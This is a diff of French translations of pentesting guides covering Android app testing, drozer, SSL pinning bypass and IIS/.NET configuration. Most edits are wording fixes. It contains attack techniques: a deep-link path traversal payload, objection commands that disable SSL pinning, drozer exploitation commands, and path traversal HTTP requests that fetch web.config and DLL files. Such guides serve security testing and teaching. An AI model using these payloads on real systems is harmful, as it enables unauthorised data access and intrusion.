Les content providers sont essentiellement utilisés pour **partager des données**. Si une application a des content providers disponibles, vous pourriez être en mesure d'**extraire des données sensibles** d'eux. Il est également intéressant de tester d'éventuelles **injections SQL** et **Path Traversals** car elles pourraient être vulnérables.
|
||||
|
||||
[**Apprenez à exploiter les Content Providers avec Drozer.**](drozer-tutorial/index.html#content-providers)
|
||||
|
||||
@ -343,7 +343,7 @@ Les content providers sont essentiellement utilisés pour **partager des donnée
|
||||
[**Lisez ceci si vous voulez rafraîchir ce qu'est un Service.**](android-applications-basics.md#services)\
|
||||
Rappelez-vous que les actions d'un Service commencent dans la méthode `onStartCommand`.
|
||||
|
||||
Un service est essentiellement quelque chose qui **peut recevoir des données**, **les traiter** et **renvoyer** (ou non) une réponse. Donc, si une application exporte certains services, vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et **le tester** **dynamiquement** pour extraire des informations confidentielles, contourner des mesures d'authentification...\
|
||||
Un service est essentiellement quelque chose qui **peut recevoir des données**, **les traiter** et **renvoyer** (ou non) une réponse. Ensuite, si une application exporte certains services, vous devriez **vérifier** le **code** pour comprendre ce qu'il fait et **le tester** **dynamiquement** pour extraire des informations confidentielles, contourner des mesures d'authentification...\
|
||||
[**Apprenez à exploiter les Services avec Drozer.**](drozer-tutorial/index.html#services)
|
||||
|
||||
### **Exploitation des Broadcast Receivers**
|
||||
@ -362,7 +362,7 @@ Vous pouvez **ouvrir** un **schéma** déclaré en utilisant **adb** ou un **nav
|
||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||
```
|
||||
_Remarque que tu peux **omettre le nom du package** et le mobile appellera automatiquement l'application qui devrait ouvrir ce lien._
|
||||
```markup
|
||||
```html
|
||||
<!-- Browser regular link -->
|
||||
<a href="scheme://hostname/path?param=value">Click me</a>
|
||||
<!-- fallback in your url you could try the intent url -->
|
||||
@ -381,7 +381,7 @@ Chaque fois que vous trouvez un deep link, vérifiez qu'il **ne reçoit pas de d
|
||||
**Paramètres dans le chemin**
|
||||
|
||||
Vous **devez également vérifier si un deep link utilise un paramètre à l'intérieur du chemin** de l'URL comme : `https://api.example.com/v1/users/{username}`, dans ce cas, vous pouvez forcer un parcours de chemin en accédant à quelque chose comme : `example://app/users?username=../../unwanted-endpoint%3fparam=value`.\
|
||||
Notez que si vous trouvez les bons points de terminaison à l'intérieur de l'application, vous pourriez être en mesure de provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), **prise de contrôle de compte** (si vous pouvez modifier les détails des utilisateurs sans jeton CSRF et que le point de terminaison vulnérable utilise la bonne méthode) et toute autre vulnérabilité. Plus [d'infos à ce sujet ici](http://dphoeniixx.com/2020/12/13-2/).
|
||||
Notez que si vous trouvez les bons points de terminaison à l'intérieur de l'application, vous pourriez être en mesure de provoquer un **Open Redirect** (si une partie du chemin est utilisée comme nom de domaine), **prise de contrôle de compte** (si vous pouvez modifier les détails des utilisateurs sans token CSRF et que le point de terminaison vulnérable utilise la bonne méthode) et toute autre vulnérabilité. Plus [d'infos à ce sujet ici](http://dphoeniixx.com/2020/12/13-2/).
|
||||
|
||||
**Plus d'exemples**
|
||||
|
||||
@ -409,13 +409,13 @@ Les applications ciblant **API Level 24 et supérieur** nécessitent des modific
|
||||
|
||||
#### Contournement du SSL Pinning
|
||||
|
||||
Lorsque le SSL Pinning est mis en œuvre, le contournement devient nécessaire pour inspecter le trafic HTTPS. Diverses méthodes sont disponibles à cet effet :
|
||||
Lorsque le SSL Pinning est mis en œuvre, le contournement devient nécessaire pour inspecter le trafic HTTPS. Plusieurs méthodes sont disponibles à cet effet :
|
||||
|
||||
- Modifiez automatiquement l'**apk** pour **contourner** le SSL Pinning avec [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Le meilleur avantage de cette option est que vous n'aurez pas besoin de root pour contourner le SSL Pinning, mais vous devrez supprimer l'application et réinstaller la nouvelle, et cela ne fonctionnera pas toujours.
|
||||
- Vous pourriez utiliser **Frida** (discuté ci-dessous) pour contourner cette protection. Voici un guide pour utiliser Burp+Frida+Genymotion : [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- Vous pouvez également essayer de **contourner automatiquement le SSL Pinning** en utilisant [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- Vous pouvez également essayer de **contourner automatiquement le SSL Pinning** en utilisant **l'analyse dynamique MobSF** (expliqué ci-dessous)
|
||||
- Si vous pensez toujours qu'il y a un trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
- Si vous pensez toujours qu'il y a du trafic que vous ne capturez pas, vous pouvez essayer de **rediriger le trafic vers burp en utilisant iptables**. Lisez ce blog : [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### Recherche de vulnérabilités web courantes
|
||||
|
||||
@ -428,7 +428,7 @@ Il est également important de rechercher des vulnérabilités web courantes au
|
||||
Si vous souhaitez effectuer un pentesting sur des applications Android, vous devez savoir comment utiliser Frida.
|
||||
|
||||
- Apprenez à utiliser Frida : [**Tutoriel Frida**](frida-tutorial/index.html)
|
||||
- Une sorte de "GUI" pour les actions avec Frida : [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Une "GUI" pour les actions avec Frida : [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Ojection est excellent pour automatiser l'utilisation de Frida : [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- Vous pouvez trouver des scripts Frida intéressants ici : [**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Essayez de contourner les mécanismes anti-debugging / anti-frida en chargeant Frida comme indiqué dans [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (outil [linjector](https://github.com/erfur/linjector-rs))
|
||||
@ -452,7 +452,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Données sensibles dans le Keystore**
|
||||
|
||||
Dans Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec suffisamment de privilèges, il est toujours **possible d'y accéder**. Comme les applications ont tendance à stocker ici **des données sensibles en texte clair**, les pentests devraient vérifier cela en tant qu'utilisateur root ou quelqu'un ayant un accès physique à l'appareil pourrait être en mesure de voler ces données.
|
||||
Dans Android, le Keystore est le meilleur endroit pour stocker des données sensibles, cependant, avec suffisamment de privilèges, il est toujours **possible d'y accéder**. Comme les applications ont tendance à y stocker **des données sensibles en texte clair**, les pentests devraient vérifier cela en tant qu'utilisateur root ou quelqu'un ayant un accès physique à l'appareil pourrait être en mesure de voler ces données.
|
||||
|
||||
Même si une application stocke des données dans le keystore, les données devraient être chiffrées.
|
||||
|
||||
@ -486,7 +486,7 @@ Cet outil peut vous aider à gérer différents outils lors de l'analyse dynamiq
|
||||
|
||||
Les développeurs créent souvent des composants proxy comme des activités, des services et des récepteurs de diffusion qui gèrent ces Intents et les transmettent à des méthodes telles que `startActivity(...)` ou `sendBroadcast(...)`, ce qui peut être risqué.
|
||||
|
||||
Le danger réside dans le fait de permettre aux attaquants de déclencher des composants d'application non exportés ou d'accéder à des fournisseurs de contenu sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit les URL en objets `Intent` via `Intent.parseUri(...)` et les exécute ensuite, ce qui peut conduire à des injections d'Intent malveillantes.
|
||||
Le danger réside dans le fait de permettre aux attaquants de déclencher des composants d'application non exportés ou d'accéder à des fournisseurs de contenu sensibles en détournant ces Intents. Un exemple notable est le composant `WebView` qui convertit les URL en objets `Intent` via `Intent.parseUri(...)` et les exécute ensuite, ce qui peut entraîner des injections d'Intent malveillantes.
|
||||
|
||||
### Points Essentiels
|
||||
|
||||
@ -541,7 +541,7 @@ L'**analyseur dynamique MobSF** peut :
|
||||
Par défaut, il utilisera également certains scripts Frida pour **contourner le SSL pinning**, **la détection de root** et **la détection de débogueur** et pour **surveiller des API intéressantes**.\
|
||||
MobSF peut également **invoquer des activités exportées**, prendre des **captures d'écran** de celles-ci et **les enregistrer** pour le rapport.
|
||||
|
||||
Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et sur "**Live API Monitor**" pour voir toutes les invocations aux méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
|
||||
Pour **démarrer** le test dynamique, appuyez sur le bouton vert : "**Start Instrumentation**". Appuyez sur "**Frida Live Logs**" pour voir les journaux générés par les scripts Frida et "**Live API Monitor**" pour voir toutes les invocations aux méthodes accrochées, les arguments passés et les valeurs retournées (cela apparaîtra après avoir appuyé sur "Start Instrumentation").\
|
||||
MobSF vous permet également de charger vos propres **scripts Frida** (pour envoyer les résultats de vos scripts Frida à MobSF, utilisez la fonction `send()`). Il dispose également de **plusieurs scripts pré-écrits** que vous pouvez charger (vous pouvez en ajouter d'autres dans `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), il suffit de **les sélectionner**, d'appuyer sur "**Load**" et d'appuyer sur "**Start Instrumentation**" (vous pourrez voir les journaux de ces scripts dans "**Frida Live Logs**").
|
||||
|
||||
.png>)
|
||||
@ -570,7 +570,7 @@ receivers
|
||||
```
|
||||
**Outils HTTP**
|
||||
|
||||
Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans le bouton vert "**Start HTTPTools**". À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
|
||||
Lorsque le trafic http est capturé, vous pouvez voir une vue peu attrayante du trafic capturé sur "**HTTP(S) Traffic**" en bas ou une vue plus agréable dans "**Start HTTPTools**" en bas vert. À partir de la deuxième option, vous pouvez **envoyer** les **requêtes capturées** à des **proxies** comme Burp ou Owasp ZAP.\
|
||||
Pour ce faire, _allumez Burp -->_ _désactivez Intercept --> dans MobSB HTTPTools, sélectionnez la requête_ --> appuyez sur "**Send to Fuzzer**" --> _sélectionnez l'adresse du proxy_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
|
||||
|
||||
Une fois que vous avez terminé l'analyse dynamique avec MobSF, vous pouvez appuyer sur "**Start Web API Fuzzer**" pour **fuzz les requêtes http** et rechercher des vulnérabilités.
|
||||
@ -609,7 +609,7 @@ qark --java path/to/specific/java/file.java
|
||||
- Analyse AndroidManifest.xml pour des vulnérabilités et comportements courants
|
||||
- Analyse statique du code source pour des vulnérabilités et comportements courants
|
||||
- Informations sur l'appareil
|
||||
- et plus
|
||||
- et plus encore
|
||||
```bash
|
||||
reverse-apk relative/path/to/APP.apk
|
||||
```
|
||||
@ -631,7 +631,7 @@ StaCoAn est un outil **multiplateforme** qui aide les développeurs, les chasseu
|
||||
|
||||
Le concept est que vous faites glisser et déposer votre fichier d'application mobile (un fichier .apk ou .ipa) sur l'application StaCoAn et elle générera un rapport visuel et portable pour vous. Vous pouvez ajuster les paramètres et les listes de mots pour obtenir une expérience personnalisée.
|
||||
|
||||
Télécharger[ dernière version](https://github.com/vincentcox/StaCoAn/releases):
|
||||
Télécharger [dernière version](https://github.com/vincentcox/StaCoAn/releases):
|
||||
```
|
||||
./stacoan
|
||||
```
|
||||
@ -678,13 +678,13 @@ Notez qu'en fonction du service et de la configuration que vous utilisez pour ob
|
||||
|
||||
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
|
||||
|
||||
D'après [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et de supprimer les instructions inutilisées. ProGuard est un logiciel libre distribué sous la licence publique générale GNU, version 2.
|
||||
De [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** est un outil en ligne de commande open source qui réduit, optimise et obfusque le code Java. Il est capable d'optimiser le bytecode ainsi que de détecter et de supprimer les instructions inutilisées. ProGuard est un logiciel libre et est distribué sous la licence publique générale GNU, version 2.
|
||||
|
||||
ProGuard est distribué dans le cadre du SDK Android et s'exécute lors de la construction de l'application en mode release.
|
||||
|
||||
### [DexGuard](https://www.guardsquare.com/dexguard)
|
||||
|
||||
Trouvez un guide étape par étape pour déobfusquer l'apk dans [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
Trouvez un guide étape par étape pour déobfusquer l'apk sur [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
|
||||
|
||||
(D'après ce guide) La dernière fois que nous avons vérifié, le mode de fonctionnement de Dexguard était :
|
||||
|
||||
@ -702,11 +702,11 @@ Vous pouvez télécharger un APK obfusqué sur leur plateforme.
|
||||
|
||||
### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app)
|
||||
|
||||
C'est un outil LLM pour trouver d'éventuelles vulnérabilités de sécurité dans les applications Android et déobfusquer le code des applications Android. Utilise l'API publique Gemini de Google.
|
||||
C'est un outil LLM pour trouver d'éventuelles vulnérabilités de sécurité dans les applications android et déobfusquer le code des applications android. Utilise l'API publique Gemini de Google.
|
||||
|
||||
### [Simplify](https://github.com/CalebFenton/simplify)
|
||||
|
||||
C'est un **déobfuscateur Android générique.** Simplify **exécute virtuellement une application** pour comprendre son comportement et ensuite **essaie d'optimiser le code** afin qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé.
|
||||
C'est un **déobfuscateur android générique.** Simplify **exécute virtuellement une application** pour comprendre son comportement et ensuite **essaie d'optimiser le code** afin qu'il se comporte de manière identique mais soit plus facile à comprendre pour un humain. Chaque type d'optimisation est simple et générique, donc peu importe le type spécifique d'obfuscation utilisé.
|
||||
|
||||
### [APKiD](https://github.com/rednaga/APKiD)
|
||||
|
||||
|
||||
@ -20,7 +20,7 @@
|
||||
|
||||
### Sandboxing
|
||||
|
||||
Le **sandboxing des applications Android** permet d'exécuter **chaque application** comme un **processus séparé sous un identifiant utilisateur distinct**. Chaque processus a sa propre machine virtuelle, donc le code d'une application s'exécute en isolation des autres applications.\
|
||||
Le **sandboxing des applications Android** permet d'exécuter **chaque application** comme un **processus séparé sous un identifiant utilisateur distinct**. Chaque processus a sa propre machine virtuelle, donc le code d'une application s'exécute en isolation par rapport aux autres applications.\
|
||||
Depuis Android 5.0(L), **SELinux** est appliqué. En gros, SELinux a refusé toutes les interactions entre processus et a ensuite créé des politiques pour **permettre uniquement les interactions attendues entre eux**.
|
||||
|
||||
### Permissions
|
||||
@ -118,7 +118,7 @@ S'ils sont vulnérables, **les Intents peuvent être utilisés pour effectuer un
|
||||
|
||||
Les filtres d'intent sont composés de catégories, d'actions et de filtres de données, avec la possibilité d'inclure des métadonnées supplémentaires. Cette configuration permet aux composants de gérer des Intents spécifiques qui correspondent aux critères déclarés.
|
||||
|
||||
Un aspect critique des composants Android (activités/services/content providers/récepteurs de diffusion) est leur visibilité ou **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exported`** avec une valeur de **`true`** ou si un filtre d'intent est déclaré pour lui dans le manifeste. Cependant, il existe un moyen pour les développeurs de garder explicitement ces composants privés, garantissant qu'ils n'interagissent pas avec d'autres applications de manière non intentionnelle. Cela se fait en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifeste.
|
||||
Un aspect critique des composants Android (activités/services/content providers/récepteurs de diffusion) est leur visibilité ou **statut public**. Un composant est considéré comme public et peut interagir avec d'autres applications s'il est **`exported`** avec une valeur de **`true`** ou si un filtre d'intent est déclaré pour lui dans le manifeste. Cependant, il existe un moyen pour les développeurs de garder ces composants privés, garantissant qu'ils n'interagissent pas avec d'autres applications de manière non intentionnelle. Cela se fait en définissant l'attribut **`exported`** sur **`false`** dans leurs définitions de manifeste.
|
||||
|
||||
De plus, les développeurs ont la possibilité de sécuriser davantage l'accès à ces composants en exigeant des permissions spécifiques. L'attribut **`permission`** peut être défini pour imposer que seules les applications ayant la permission désignée puissent accéder au composant, ajoutant une couche supplémentaire de sécurité et de contrôle sur qui peut interagir avec lui.
|
||||
```java
|
||||
@ -143,7 +143,7 @@ Cette intention doit être déclarée dans le manifeste comme dans l'exemple sui
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
Un intent-filter doit correspondre à l'**action**, **données** et **catégorie** pour recevoir un message.
|
||||
Un intent-filter doit correspondre à l'**action**, aux **données** et à la **catégorie** pour recevoir un message.
|
||||
|
||||
Le processus de "résolution d'intent" détermine quelle application doit recevoir chaque message. Ce processus prend en compte l'**attribut de priorité**, qui peut être défini dans la **déclaration d'intent-filter**, et **celui avec la priorité la plus élevée sera sélectionné**. Cette priorité peut être définie entre -1000 et 1000 et les applications peuvent utiliser la valeur `SYSTEM_HIGH_PRIORITY`. Si un **conflit** survient, une fenêtre "choisir" apparaît pour que l'**utilisateur puisse décider**.
|
||||
|
||||
@ -235,7 +235,7 @@ Cela inclut : **Activités, Services, Récepteurs de Diffusion et Fournisseurs.*
|
||||
Dans les applications Android, les **activités** sont comme des écrans, montrant différentes parties de l'interface utilisateur de l'application. Une application peut avoir de nombreuses activités, chacune présentant un écran unique à l'utilisateur.
|
||||
|
||||
L'**activité de lancement** est la principale porte d'entrée d'une application, lancée lorsque vous appuyez sur l'icône de l'application. Elle est définie dans le fichier manifeste de l'application avec des intents spécifiques MAIN et LAUNCHER :
|
||||
```markup
|
||||
```html
|
||||
<activity android:name=".LauncherActivity">
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
@ -297,7 +297,7 @@ Pour comprendre la fonctionnalité d'un récepteur, recherchez la méthode **`on
|
||||
|
||||
La validation des entrées est primordiale pour prévenir les vulnérabilités, telles que l'injection SQL. Les Fournisseurs de Contenu prennent en charge les opérations de base : `insert()`, `update()`, `delete()`, et `query()`, facilitant la manipulation et le partage de données entre les applications.
|
||||
|
||||
**FileProvider**, un Fournisseur de Contenu spécialisé, se concentre sur le partage sécurisé de fichiers. Il est défini dans le manifest de l'application avec des attributs spécifiques pour contrôler l'accès aux dossiers, désignés par `android:exported` et `android:resource` pointant vers les configurations de dossier. La prudence est de mise lors du partage de répertoires pour éviter d'exposer involontairement des données sensibles.
|
||||
**FileProvider**, un Fournisseur de Contenu spécialisé, se concentre sur le partage sécurisé de fichiers. Il est défini dans le manifest de l'application avec des attributs spécifiques pour contrôler l'accès aux dossiers, désignés par `android:exported` et `android:resource` pointant vers les configurations de dossier. Une prudence est conseillée lors du partage de répertoires pour éviter d'exposer involontairement des données sensibles.
|
||||
|
||||
Exemple de déclaration de manifest pour FileProvider :
|
||||
```xml
|
||||
@ -335,7 +335,7 @@ Pour charger du contenu, des méthodes telles que `loadUrl`, `loadData` et `load
|
||||
|
||||
Le "Bridge" JavaScript permet aux objets Java d'interagir avec JavaScript, nécessitant que les méthodes soient marquées avec `@JavascriptInterface` pour des raisons de sécurité à partir d'Android 4.2.
|
||||
|
||||
Autoriser l'accès au contenu (`setAllowContentAccess(true)`) permet aux WebViews d'atteindre les Content Providers, ce qui pourrait être un risque à moins que les URL de contenu ne soient vérifiées comme sécurisées.
|
||||
Autoriser l'accès au contenu (`setAllowContentAccess(true)`) permet aux WebViews d'accéder aux Content Providers, ce qui pourrait être un risque à moins que les URL de contenu ne soient vérifiées comme sécurisées.
|
||||
|
||||
Pour contrôler l'accès aux fichiers :
|
||||
|
||||
@ -353,7 +353,7 @@ Pour contrôler l'accès aux fichiers :
|
||||
|
||||
### **Gestion des appareils mobiles (MDM)**
|
||||
|
||||
- Les **solutions MDM** fournissent une **surveillance et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application de politiques de mot de passe**, **l'obligation de chiffrement des données**, et **la possibilité d'effacer des données à distance**, garantissant un contrôle et une sécurité complets sur les appareils mobiles.
|
||||
- Les **solutions MDM** fournissent une **supervision et une sécurité** pour les appareils mobiles via l'**API d'administration des appareils**. Elles nécessitent l'installation d'une application Android pour gérer et sécuriser efficacement les appareils mobiles. Les fonctions clés incluent **l'application de politiques de mot de passe**, **l'obligation de chiffrement des données**, et **la possibilité d'effacer des données à distance**, garantissant un contrôle et une sécurité complets sur les appareils mobiles.
|
||||
```java
|
||||
// Example of enforcing a password policy with MDM
|
||||
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(Context.DEVICE_POLICY_SERVICE);
|
||||
|
||||
@ -39,20 +39,20 @@ drozer console connect
|
||||
```
|
||||
## Commandes Intéressantes
|
||||
|
||||
| **Commandes** | **Description** |
|
||||
| --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------ |
|
||||
| **Help MODULE** | Affiche l'aide du module sélectionné |
|
||||
| **list** | Affiche une liste de tous les modules drozer qui peuvent être exécutés dans la session actuelle. Cela cache les modules pour lesquels vous n'avez pas les autorisations appropriées. |
|
||||
| **shell** | Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent. |
|
||||
| **clean** | Supprime les fichiers temporaires stockés par drozer sur l'appareil Android. |
|
||||
| **load** | Charge un fichier contenant des commandes drozer et les exécute en séquence. |
|
||||
| **module** | Trouve et installe des modules drozer supplémentaires depuis Internet. |
|
||||
| **unset** | Supprime une variable nommée que drozer passe à tous les shells Linux qu'il génère. |
|
||||
| **set** | Stocke une valeur dans une variable qui sera passée comme variable d'environnement à tous les shells Linux générés par drozer. |
|
||||
| **shell** | Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent |
|
||||
| **run MODULE** | Exécute un module drozer |
|
||||
| **exploit** | Drozer peut créer des exploits à exécuter dans le dispositif. `drozer exploit list` |
|
||||
| **payload** | Les exploits ont besoin d'un payload. `drozer payload list` |
|
||||
| **Commandes** | **Description** |
|
||||
| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| **Help MODULE** | Affiche l'aide du module sélectionné |
|
||||
| **list** | Affiche une liste de tous les modules drozer qui peuvent être exécutés dans la session actuelle. Cela cache les modules pour lesquels vous n'avez pas les autorisations appropriées. |
|
||||
| **shell** | Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent. |
|
||||
| **clean** | Supprime les fichiers temporaires stockés par drozer sur l'appareil Android. |
|
||||
| **load** | Charge un fichier contenant des commandes drozer et les exécute en séquence. |
|
||||
| **module** | Trouve et installe des modules drozer supplémentaires depuis Internet. |
|
||||
| **unset** | Supprime une variable nommée que drozer passe à tous les shells Linux qu'il génère. |
|
||||
| **set** | Stocke une valeur dans une variable qui sera passée comme variable d'environnement à tous les shells Linux générés par drozer. |
|
||||
| **shell** | Démarre un shell Linux interactif sur l'appareil, dans le contexte de l'Agent |
|
||||
| **run MODULE** | Exécute un module drozer |
|
||||
| **exploit** | Drozer peut créer des exploits à exécuter dans le dispositif. `drozer exploit list` |
|
||||
| **payload** | Les exploits ont besoin d'un payload. `drozer payload list` |
|
||||
|
||||
### Package
|
||||
|
||||
@ -85,7 +85,7 @@ Lire **Manifest** :
|
||||
```bash
|
||||
run app.package.manifest jakhar.aseem.diva
|
||||
```
|
||||
**Surface d'attaque** du package :
|
||||
**Surface d'attaque** du paquet :
|
||||
```bash
|
||||
dz> run app.package.attacksurface com.mwr.example.sieve
|
||||
Attack Surface:
|
||||
@ -103,7 +103,7 @@ is debuggable
|
||||
### Activités
|
||||
|
||||
La valeur “android:exported” d'un composant d'activité exporté est définie sur **“true”** dans le fichier AndroidManifest.xml :
|
||||
```markup
|
||||
```html
|
||||
<activity android:name="com.my.app.Initial" android:exported="true">
|
||||
</activity>
|
||||
```
|
||||
@ -135,7 +135,7 @@ Ce post était trop long pour être ici, donc **vous pouvez** [**y accéder sur
|
||||
### Services
|
||||
|
||||
Un service exporté est déclaré dans le Manifest.xml :
|
||||
```markup
|
||||
```html
|
||||
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
|
||||
```
|
||||
À l'intérieur du code, **vérifiez** la fonction **`handleMessage`** qui va **recevoir** le **message** :
|
||||
@ -229,7 +229,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
|
||||
### Est débogable
|
||||
|
||||
Un APK de production ne devrait jamais être débogable.\
|
||||
Cela signifie que vous pouvez **attacher un débogueur java** à l'application en cours d'exécution, l'inspecter en temps réel, définir des points d'arrêt, avancer étape par étape, rassembler des valeurs de variables et même les modifier. [L'InfoSec Institute a un excellent article](../exploiting-a-debuggeable-applciation.md) sur l'approfondissement lorsque votre application est débogable et l'injection de code à l'exécution.
|
||||
Cela signifie que vous pouvez **attacher un débogueur java** à l'application en cours d'exécution, l'inspecter en temps réel, définir des points d'arrêt, avancer étape par étape, rassembler des valeurs de variables et même les modifier. [L'InfoSec Institute a un excellent article](../exploiting-a-debuggeable-applciation.md) sur l'approfondissement lorsque votre application est débogable et l'injection de code en temps d'exécution.
|
||||
|
||||
Lorsqu'une application est débogable, elle apparaîtra dans le Manifest :
|
||||
```xml
|
||||
|
||||
@ -4,7 +4,7 @@ Certaines applications n'aiment pas les certificats téléchargés par l'utilisa
|
||||
|
||||
# Automatique
|
||||
|
||||
L'outil [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) effectuera **automatiquement** les modifications nécessaires à l'application pour commencer à capturer les requêtes et désactivera également le pinning de certificat (le cas échéant).
|
||||
L'outil [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) effectuera **automatiquement** les modifications nécessaires à l'application pour commencer à capturer les requêtes et désactivera également le pinning de certificat (s'il y en a).
|
||||
|
||||
# Manuel
|
||||
|
||||
@ -25,7 +25,7 @@ Après ajout :
|
||||
|
||||
|
||||
Maintenant, allez dans le dossier **res/xml** et créez/modifiez un fichier nommé network_security_config.xml avec le contenu suivant :
|
||||
```markup
|
||||
```html
|
||||
<network-security-config>
|
||||
<base-config>
|
||||
<trust-anchors>
|
||||
@ -41,6 +41,6 @@ Ensuite, enregistrez le fichier et sortez de tous les répertoires, puis reconst
|
||||
|
||||
|
||||
|
||||
Enfin, vous devez simplement **signer la nouvelle application**. [Lisez cette section de la page Smali - Decompiling/\[Modifying\]/Compiling pour apprendre comment la signer](smali-changes.md#sing-the-new-apk).
|
||||
Enfin, vous devez simplement **signer la nouvelle application**. [Lisez cette section de la page Smali - Decompiling/\[Modifying\]/Compiling pour apprendre à la signer](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -68,7 +68,7 @@ Dans les **applications .Net MVC**, le fichier **web.config** joue un rôle cruc
|
||||
### **Exploration des fichiers binaires**
|
||||
|
||||
Un exemple d'accès au fichier **web.config** est montré ci-dessous :
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -89,14 +89,14 @@ Les fichiers trouvés dans le répertoire racine, comme **/global.asax** et **/c
|
||||
### **Espaces de Noms et Web.Config**
|
||||
|
||||
Les applications MVC définissent également des **fichiers web.config** supplémentaires pour des espaces de noms spécifiques afin d'éviter des déclarations répétitives dans chaque fichier, comme le montre une demande de téléchargement d'un autre **web.config** :
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
### **Téléchargement de DLLs**
|
||||
|
||||
La mention d'un espace de noms personnalisé suggère qu'il existe une DLL nommée "**WebApplication1**" présente dans le répertoire /bin. Suite à cela, une demande de téléchargement de **WebApplication1.dll** est affichée :
|
||||
```markup
|
||||
```html
|
||||
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
```
|
||||
@ -231,17 +231,17 @@ Cette information inclut les IP des clients distants, les ID de session, tous le
|
||||
|
||||
ASPXAUTH utilise les informations suivantes :
|
||||
|
||||
- **`validationKey`** (chaîne) : clé encodée en hexadécimal à utiliser pour la validation de signature.
|
||||
- **`validationKey`** (chaîne) : clé hexadécimale à utiliser pour la validation de signature.
|
||||
- **`decryptionMethod`** (chaîne) : (par défaut “AES”).
|
||||
- **`decryptionIV`** (chaîne) : vecteur d'initialisation encodé en hexadécimal (par défaut un vecteur de zéros).
|
||||
- **`decryptionKey`** (chaîne) : clé encodée en hexadécimal à utiliser pour le déchiffrement.
|
||||
|
||||
